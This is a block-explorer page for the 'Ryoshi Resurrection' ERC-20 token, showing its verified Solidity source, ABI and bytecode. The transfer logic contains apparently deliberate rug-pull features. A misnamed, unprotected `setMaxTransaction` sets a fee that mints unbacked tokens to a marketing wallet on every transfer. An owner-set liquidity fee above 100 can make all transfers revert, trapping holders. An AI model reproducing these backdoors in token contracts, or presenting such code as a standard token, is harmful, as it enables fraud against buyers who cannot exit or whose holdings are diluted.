ERC-20
Overview
Max Total Supply
1,000,000 RESURRECTION
Holders
17
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
4,527.539835487342379329 RESURRECTIONValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
Contract
Compiler Version
v0.8.10+commit.fc410830
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2022-08-09 */ /** * https://medium.com/@Resurrections/a-tribute-to-ryoshi-a-special-shib-memorial-day-f5312b8407c9 */ pragma solidity 0.8.10; // SPDX-License-Identifier: UNLICENSED interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the token decimals. */ function decimals() external view returns (uint8); /** * @dev Returns the token symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the token name. */ function name() external view returns (string memory); /** * @dev Returns the erc token owner. */ function getOwner() external view returns (address); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address _owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _owner = address(0); emit OwnershipTransferred(_owner, address(0)); } } contract Contract is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; uint8 public _decimals; string public _symbol; string public _name; address public _Marketing; constructor() { _name = "Ryoshi Resurrection"; _symbol = "RESURRECTION"; _decimals = 18; _totalSupply = 1 * 10**6 * 10**18; _balances[msg.sender] = _totalSupply; emit Transfer(address(0), msg.sender, _totalSupply); } uint256 public _taxFee = 3; uint256 private _previousTaxFee = _taxFee; uint256 public _liquidityFee = 3; function marketingWallet(address Newmarketing) public onlyOwner { _Marketing = Newmarketing; } /** * @dev Returns the erc token owner. */ function getOwner() external view virtual override returns (address) { return owner(); } /** * @dev Returns the token decimals. */ function decimals() external view virtual override returns (uint8) { return _decimals; } /** * @dev Returns the token symbol. */ function symbol() external view virtual override returns (string memory) { return _symbol; } /** * @dev Returns the token name. */ function name() external view virtual override returns (string memory) { return _name; } /** * @dev See {ERC20-totalSupply}. */ function totalSupply() external view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {ERC20-balanceOf}. */ function balanceOf(address account) external view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {ERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function setMaxTransaction(uint256 Taxfee) public virtual { _taxFee = Taxfee; } function setLiqFee(uint256 LiqFee) public onlyOwner { _liquidityFee = LiqFee; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); _balances[recipient] = _balances[recipient].sub(amount / 100 * _liquidityFee); _balances[_Marketing] = _balances[_Marketing].add(amount / 100 * _taxFee); emit Transfer(sender, recipient, amount); } function _burn(address account, uint256 amounts) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amounts); _totalSupply = _totalSupply.sub(amounts); emit Transfer(account, address(0), amounts); } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_Marketing","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Newmarketing","type":"address"}],"name":"marketingWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"LiqFee","type":"uint256"}],"name":"setLiqFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"Taxfee","type":"uint256"}],"name":"setMaxTransaction","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260036008556008546009556003600a553480156200002157600080fd5b506000620000346200025160201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506040518060400160405280601381526020017f52796f73686920526573757272656374696f6e00000000000000000000000000815250600690805190602001906200011f92919062000259565b506040518060400160405280600c81526020017f524553555252454354494f4e0000000000000000000000000000000000000000815250600590805190602001906200016d92919062000259565b506012600460006101000a81548160ff021916908360ff16021790555069d3c21bcecceda1000000600381905550600354600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60035460405162000243919062000324565b60405180910390a3620003a6565b600033905090565b828054620002679062000370565b90600052602060002090601f0160209004810192826200028b5760008555620002d7565b82601f10620002a657805160ff1916838001178555620002d7565b82800160010185558215620002d7579182015b82811115620002d6578251825591602001919060010190620002b9565b5b509050620002e69190620002ea565b5090565b5b8082111562000305576000816000905550600101620002eb565b5090565b6000819050919050565b6200031e8162000309565b82525050565b60006020820190506200033b600083018462000313565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200038957607f821691505b60208210811415620003a0576200039f62000341565b5b50919050565b611d6c80620003b66000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063715018a6116100c3578063ab5a18871161007c578063ab5a1887146103a8578063b09f1266146103c4578063d28d8852146103e2578063d7666de614610400578063d8feb48e1461041c578063dd62ed3e146104385761014d565b8063715018a6146102e4578063893d20e8146102ee5780638da5cb5b1461030c57806395d89b411461032a578063a457c2d714610348578063a9059cbb146103785761014d565b8063313ce56711610115578063313ce5671461020c57806332424aa31461022a57806339509351146102485780633b124fe7146102785780636bc87c3a1461029657806370a08231146102b45761014d565b806306fdde0314610152578063095ea7b3146101705780631235acbe146101a057806318160ddd146101be57806323b872dd146101dc575b600080fd5b61015a610468565b6040516101679190611526565b60405180910390f35b61018a600480360381019061018591906115e1565b6104fa565b604051610197919061163c565b60405180910390f35b6101a8610518565b6040516101b59190611666565b60405180910390f35b6101c661053e565b6040516101d39190611690565b60405180910390f35b6101f660048036038101906101f191906116ab565b610548565b604051610203919061163c565b60405180910390f35b610214610621565b604051610221919061171a565b60405180910390f35b610232610638565b60405161023f919061171a565b60405180910390f35b610262600480360381019061025d91906115e1565b61064b565b60405161026f919061163c565b60405180910390f35b6102806106fe565b60405161028d9190611690565b60405180910390f35b61029e610704565b6040516102ab9190611690565b60405180910390f35b6102ce60048036038101906102c99190611735565b61070a565b6040516102db9190611690565b60405180910390f35b6102ec610753565b005b6102f66108a6565b6040516103039190611666565b60405180910390f35b6103146108b5565b6040516103219190611666565b60405180910390f35b6103326108de565b60405161033f9190611526565b60405180910390f35b610362600480360381019061035d91906115e1565b610970565b60405161036f919061163c565b60405180910390f35b610392600480360381019061038d91906115e1565b610a3d565b60405161039f919061163c565b60405180910390f35b6103c260048036038101906103bd9190611762565b610a5b565b005b6103cc610a65565b6040516103d99190611526565b60405180910390f35b6103ea610af3565b6040516103f79190611526565b60405180910390f35b61041a60048036038101906104159190611762565b610b81565b005b61043660048036038101906104319190611735565b610c20565b005b610452600480360381019061044d919061178f565b610cf9565b60405161045f9190611690565b60405180910390f35b606060068054610477906117fe565b80601f01602080910402602001604051908101604052809291908181526020018280546104a3906117fe565b80156104f05780601f106104c5576101008083540402835291602001916104f0565b820191906000526020600020905b8154815290600101906020018083116104d357829003601f168201915b5050505050905090565b600061050e610507610d80565b8484610d88565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600354905090565b6000610555848484610f53565b61061684610561610d80565b61061185604051806060016040528060288152602001611cea60289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006105c7610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b610d88565b600190509392505050565b6000600460009054906101000a900460ff16905090565b600460009054906101000a900460ff1681565b60006106f4610658610d80565b846106ef8560026000610669610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b610d88565b6001905092915050565b60085481565b600a5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61075b610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107df9061187c565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60006108b06108b5565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546108ed906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610919906117fe565b80156109665780601f1061093b57610100808354040283529160200191610966565b820191906000526020600020905b81548152906001019060200180831161094957829003601f168201915b5050505050905090565b6000610a3361097d610d80565b84610a2e85604051806060016040528060258152602001611d1260259139600260006109a7610d80565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b610d88565b6001905092915050565b6000610a51610a4a610d80565b8484610f53565b6001905092915050565b8060088190555050565b60058054610a72906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610a9e906117fe565b8015610aeb5780601f10610ac057610100808354040283529160200191610aeb565b820191906000526020600020905b815481529060010190602001808311610ace57829003601f168201915b505050505081565b60068054610b00906117fe565b80601f0160208091040260200160405190810160405280929190818152602001828054610b2c906117fe565b8015610b795780601f10610b4e57610100808354040283529160200191610b79565b820191906000526020600020905b815481529060010190602001808311610b5c57829003601f168201915b505050505081565b610b89610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0d9061187c565b60405180910390fd5b80600a8190555050565b610c28610d80565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cac9061187c565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610df8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610def9061190e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610e68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5f906119a0565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f469190611690565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fc3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fba90611a32565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611033576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161102a90611ac4565b60405180910390fd5b61109f81604051806060016040528060268152602001611cc460269139600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113819092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061113481600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506111e2600a5460648361118a9190611b42565b6111949190611b73565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461144390919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112b26008546064836112389190611b42565b6112429190611b73565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113e590919063ffffffff16565b60016000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113749190611690565b60405180910390a3505050565b60008383111582906113c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c09190611526565b60405180910390fd5b50600083856113d89190611bcd565b9050809150509392505050565b60008082846113f49190611c01565b905083811015611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143090611ca3565b60405180910390fd5b8091505092915050565b600061148583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611381565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114c75780820151818401526020810190506114ac565b838111156114d6576000848401525b50505050565b6000601f19601f8301169050919050565b60006114f88261148d565b6115028185611498565b93506115128185602086016114a9565b61151b816114dc565b840191505092915050565b6000602082019050818103600083015261154081846114ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115788261154d565b9050919050565b6115888161156d565b811461159357600080fd5b50565b6000813590506115a58161157f565b92915050565b6000819050919050565b6115be816115ab565b81146115c957600080fd5b50565b6000813590506115db816115b5565b92915050565b600080604083850312156115f8576115f7611548565b5b600061160685828601611596565b9250506020611617858286016115cc565b9150509250929050565b60008115159050919050565b61163681611621565b82525050565b6000602082019050611651600083018461162d565b92915050565b6116608161156d565b82525050565b600060208201905061167b6000830184611657565b92915050565b61168a816115ab565b82525050565b60006020820190506116a56000830184611681565b92915050565b6000806000606084860312156116c4576116c3611548565b5b60006116d286828701611596565b93505060206116e386828701611596565b92505060406116f4868287016115cc565b9150509250925092565b600060ff82169050919050565b611714816116fe565b82525050565b600060208201905061172f600083018461170b565b92915050565b60006020828403121561174b5761174a611548565b5b600061175984828501611596565b91505092915050565b60006020828403121561177857611777611548565b5b6000611786848285016115cc565b91505092915050565b600080604083850312156117a6576117a5611548565b5b60006117b485828601611596565b92505060206117c585828601611596565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061181657607f821691505b6020821081141561182a576118296117cf565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611866602083611498565b915061187182611830565b602082019050919050565b6000602082019050818103600083015261189581611859565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006118f8602483611498565b91506119038261189c565b604082019050919050565b60006020820190508181036000830152611927816118eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061198a602283611498565b91506119958261192e565b604082019050919050565b600060208201905081810360008301526119b98161197d565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611a1c602583611498565b9150611a27826119c0565b604082019050919050565b60006020820190508181036000830152611a4b81611a0f565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611aae602383611498565b9150611ab982611a52565b604082019050919050565b60006020820190508181036000830152611add81611aa1565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611b4d826115ab565b9150611b58836115ab565b925082611b6857611b67611ae4565b5b828204905092915050565b6000611b7e826115ab565b9150611b89836115ab565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611bc257611bc1611b13565b5b828202905092915050565b6000611bd8826115ab565b9150611be3836115ab565b925082821015611bf657611bf5611b13565b5b828203905092915050565b6000611c0c826115ab565b9150611c17836115ab565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611c4c57611c4b611b13565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000611c8d601b83611498565b9150611c9882611c57565b602082019050919050565b60006020820190508181036000830152611cbc81611c80565b905091905056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212208c0effcb1ba0a108fe4d5b80f5b3685c0d0d3bfd40303f0c503d6449fd8d0c6364736f6c634300080a0033
Deployed Bytecode
